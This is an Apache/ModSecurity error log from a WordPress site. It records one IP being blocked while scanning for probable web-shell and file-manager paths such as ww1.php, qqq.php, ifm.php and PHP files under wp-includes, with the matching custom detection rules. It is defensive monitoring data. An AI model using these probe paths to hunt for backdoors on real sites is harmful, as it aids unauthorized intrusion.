[Tue Nov 25 20:48:16.858860 2025] [:error] [pid 43843:tid 43858] [client 134.149.17.123:45886] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWlkBhx4v3NUNdMKDPmWwAAAc0"]
[Tue Nov 25 20:48:17.410001 2025] [:error] [pid 43981:tid 44006] [client 134.149.17.123:45877] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWlkQgZn97m_qh_RaFWawAAAxc"]
[Tue Nov 25 20:48:18.128802 2025] [:error] [pid 14168:tid 14179] [client 134.149.17.123:46046] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWlkvR-ZDU0QEgAIIt8pgAAAMg"]
[Tue Nov 25 20:48:18.786336 2025] [:error] [pid 28836:tid 28958] [client 134.149.17.123:45852] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSWlkpwNRsoxcLQGkTfYNQAAAsM"]
[Tue Nov 25 20:48:19.476097 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:45819] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aSWlkxG9n7UHEkwDTyi4mAAAAFQ"]
[Tue Nov 25 20:48:20.314361 2025] [:error] [pid 28739:tid 28786] [client 134.149.17.123:45827] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aSWllBxGpKmlkG4FexSQlgAAAhg"]
[Tue Nov 25 20:48:20.940744 2025] [:error] [pid 28836:tid 29013] [client 134.149.17.123:45806] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aSWllJwNRsoxcLQGkTfYOAAAAtc"]
[Tue Nov 25 20:48:21.657763 2025] [:error] [pid 14168:tid 14195] [client 134.149.17.123:45761] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aSWllfR-ZDU0QEgAIIt8qQAAANg"]
[Tue Nov 25 20:48:22.241759 2025] [:error] [pid 14078:tid 14139] [client 134.149.17.123:45856] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aSWlltVXYbb0ii_rVoJfOQAAAII"]
[Tue Nov 25 20:48:22.884604 2025] [:error] [pid 14168:tid 14180] [client 134.149.17.123:45708] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aSWllvR-ZDU0QEgAIIt8qgAAAMk"]
[Tue Nov 25 20:48:23.556559 2025] [:error] [pid 43981:tid 44000] [client 134.149.17.123:45883] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aSWllwgZn97m_qh_RaFWdgAAAxE"]
[Tue Nov 25 20:48:24.250291 2025] [:error] [pid 28609:tid 28630] [client 134.149.17.123:45793] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aSWlmCGGdT-nZJVs3x3ZQQAAAYw"]
[Tue Nov 25 20:48:24.821509 2025] [:error] [pid 43981:tid 43988] [client 134.149.17.123:45875] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aSWlmAgZn97m_qh_RaFWegAAAwU"]
[Tue Nov 25 20:48:25.442020 2025] [:error] [pid 2987:tid 3013] [client 134.149.17.123:45704] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aSWlmc-djEt-pTzPxny5_QAAAVg"]
[Tue Nov 25 20:48:26.133661 2025] [:error] [pid 28836:tid 28968] [client 134.149.17.123:45799] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aSWlmpwNRsoxcLQGkTfYRQAAAs0"]
[Tue Nov 25 20:48:26.988339 2025] [:error] [pid 14076:tid 14086] [client 134.149.17.123:45769] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aSWlmnsB4Gz6Qw-pvBssbgAAAAU"]
[Tue Nov 25 20:48:27.720036 2025] [:error] [pid 28609:tid 28632] [client 134.149.17.123:45792] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aSWlmyGGdT-nZJVs3x3ZQgAAAY4"]
[Tue Nov 25 20:48:28.276640 2025] [:error] [pid 14078:tid 14150] [client 134.149.17.123:45798] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aSWlnNVXYbb0ii_rVoJfRAAAAI0"]
[Tue Nov 25 20:48:28.889643 2025] [:error] [pid 2987:tid 3005] [client 134.149.17.123:45763] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aSWlnM-djEt-pTzPxny6AgAAAVA"]
[Tue Nov 25 20:48:29.583862 2025] [:error] [pid 14078:tid 14156] [client 134.149.17.123:45805] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSWlndVXYbb0ii_rVoJfRwAAAJM"]
[Tue Nov 25 20:48:30.441956 2025] [:error] [pid 14168:tid 14187] [client 134.149.17.123:45808] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSWlnvR-ZDU0QEgAIIt8sgAAANA"]
[Tue Nov 25 20:48:31.106519 2025] [:error] [pid 14168:tid 14177] [client 134.149.17.123:45787] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSWln_R-ZDU0QEgAIIt8tAAAAMY"]
[Tue Nov 25 20:48:31.733582 2025] [:error] [pid 14077:tid 14126] [client 134.149.17.123:45843] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSWlnxG9n7UHEkwDTyi4pgAAAFA"]
[Tue Nov 25 20:48:32.417305 2025] [:error] [pid 14077:tid 14113] [client 134.149.17.123:45775] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aSWloBG9n7UHEkwDTyi4qQAAAEM"]
[Tue Nov 25 20:48:33.005904 2025] [:error] [pid 28609:tid 28624] [client 134.149.17.123:45840] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aSWloSGGdT-nZJVs3x3ZRgAAAYY"]
[Tue Nov 25 20:48:33.862474 2025] [:error] [pid 14076:tid 14094] [client 134.149.17.123:45788] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aSWloXsB4Gz6Qw-pvBsseAAAAA0"]
[Tue Nov 25 20:48:34.585512 2025] [:error] [pid 28836:tid 28958] [client 134.149.17.123:45822] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aSWlopwNRsoxcLQGkTfYVwAAAsM"]
[Tue Nov 25 20:48:35.318988 2025] [:error] [pid 28609:tid 28630] [client 134.149.17.123:45866] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aSWloyGGdT-nZJVs3x3ZTgAAAYw"]
[Tue Nov 25 20:48:36.008874 2025] [:error] [pid 43981:tid 43993] [client 134.149.17.123:45930] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aSWlpAgZn97m_qh_RaFWgwAAAwo"]
[Tue Nov 25 20:48:36.651695 2025] [:error] [pid 2987:tid 3007] [client 134.149.17.123:45933] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aSWlpM-djEt-pTzPxny6DgAAAVI"]
[Tue Nov 25 20:48:37.214442 2025] [:error] [pid 14076:tid 14102] [client 134.149.17.123:45949] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aSWlpXsB4Gz6Qw-pvBssfQAAABU"]
[Tue Nov 25 20:48:37.759678 2025] [:error] [pid 28739:tid 28765] [client 134.149.17.123:45716] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aSWlpRxGpKmlkG4FexSQxAAAAgM"]
[Tue Nov 25 20:48:38.462397 2025] [:error] [pid 14076:tid 14103] [client 134.149.17.123:45881] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aSWlpnsB4Gz6Qw-pvBssfgAAABY"]
[Tue Nov 25 20:48:39.116456 2025] [:error] [pid 14078:tid 14160] [client 134.149.17.123:45882] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aSWlp9VXYbb0ii_rVoJfVAAAAJc"]
[Tue Nov 25 20:48:39.715965 2025] [:error] [pid 43981:tid 43984] [client 134.149.17.123:45925] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aSWlpwgZn97m_qh_RaFWhgAAAwE"]
[Tue Nov 25 20:48:41.802835 2025] [autoindex:error] [pid 28609:tid 28634] [client 134.149.17.123:45951] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 20:48:44.119728 2025] [:error] [pid 28609:tid 28638] [client 134.149.17.123:45951] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aSWlrCGGdT-nZJVs3x3ZWgAAAZQ"]
[Tue Nov 25 20:48:47.897966 2025] [autoindex:error] [pid 14168:tid 14182] [client 134.149.17.123:45777] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 20:48:59.530258 2025] [:error] [pid 14168:tid 14175] [client 134.149.17.123:45777] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSWlu_R-ZDU0QEgAIIt8zgAAAMQ"]
[Tue Nov 25 20:49:00.037703 2025] [:error] [pid 14076:tid 14095] [client 134.149.17.123:45733] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aSWlvHsB4Gz6Qw-pvBssmwAAAA4"]
[Tue Nov 25 20:49:04.007209 2025] [:error] [pid 43981:tid 43994] [client 134.149.17.123:45715] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aSWlwAgZn97m_qh_RaFWsAAAAws"]
[Tue Nov 25 20:49:04.511730 2025] [:error] [pid 43981:tid 43985] [client 134.149.17.123:45707] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aSWlwAgZn97m_qh_RaFWsQAAAwI"]
[Tue Nov 25 20:49:05.012243 2025] [:error] [pid 14077:tid 14132] [client 134.149.17.123:45789] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aSWlwRG9n7UHEkwDTyi46AAAAFY"]
[Tue Nov 25 20:49:05.514961 2025] [:error] [pid 43981:tid 44002] [client 134.149.17.123:45797] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aSWlwQgZn97m_qh_RaFWswAAAxM"]
[Tue Nov 25 20:49:06.026000 2025] [:error] [pid 28739:tid 28769] [client 134.149.17.123:45780] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww5.php"] [unique_id "aSWlwhxGpKmlkG4FexSRCQAAAgc"]
[Tue Nov 25 20:49:06.537077 2025] [:error] [pid 14077:tid 14131] [client 134.149.17.123:45732] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww5.php"] [unique_id "aSWlwhG9n7UHEkwDTyi47gAAAFU"]
[Tue Nov 25 20:49:07.041546 2025] [:error] [pid 43981:tid 43991] [client 134.149.17.123:45863] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww5.php"] [unique_id "aSWlwwgZn97m_qh_RaFWxgAAAwg"]
[Tue Nov 25 20:49:07.545680 2025] [:error] [pid 43981:tid 44000] [client 134.149.17.123:45885] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww5.php"] [unique_id "aSWlwwgZn97m_qh_RaFWyQAAAxE"]
[Tue Nov 25 20:49:08.047279 2025] [:error] [pid 14078:tid 14160] [client 134.149.17.123:45776] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aSWlxNVXYbb0ii_rVoJfjwAAAJc"]
[Tue Nov 25 20:49:08.559951 2025] [:error] [pid 14168:tid 14195] [client 134.149.17.123:45809] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aSWlxPR-ZDU0QEgAIIt81wAAANg"]
[Tue Nov 25 20:49:09.059879 2025] [:error] [pid 14077:tid 14125] [client 134.149.17.123:45706] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aSWlxRG9n7UHEkwDTyi4-AAAAE8"]
[Tue Nov 25 20:49:09.561027 2025] [:error] [pid 14076:tid 14095] [client 134.149.17.123:45812] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aSWlxXsB4Gz6Qw-pvBssowAAAA4"]
[Tue Nov 25 20:49:10.065341 2025] [:error] [pid 14077:tid 14131] [client 134.149.17.123:45762] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aSWlxhG9n7UHEkwDTyi4-wAAAFU"]
[Tue Nov 25 20:49:10.570057 2025] [:error] [pid 14078:tid 14156] [client 134.149.17.123:45860] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aSWlxtVXYbb0ii_rVoJfnwAAAJM"]
[Tue Nov 25 20:49:11.073490 2025] [:error] [pid 28836:tid 29009] [client 134.149.17.123:45939] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aSWlx5wNRsoxcLQGkTfYlgAAAtM"]
[Tue Nov 25 20:49:11.579783 2025] [:error] [pid 14078:tid 14151] [client 134.149.17.123:45876] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aSWlx9VXYbb0ii_rVoJfsAAAAI4"]
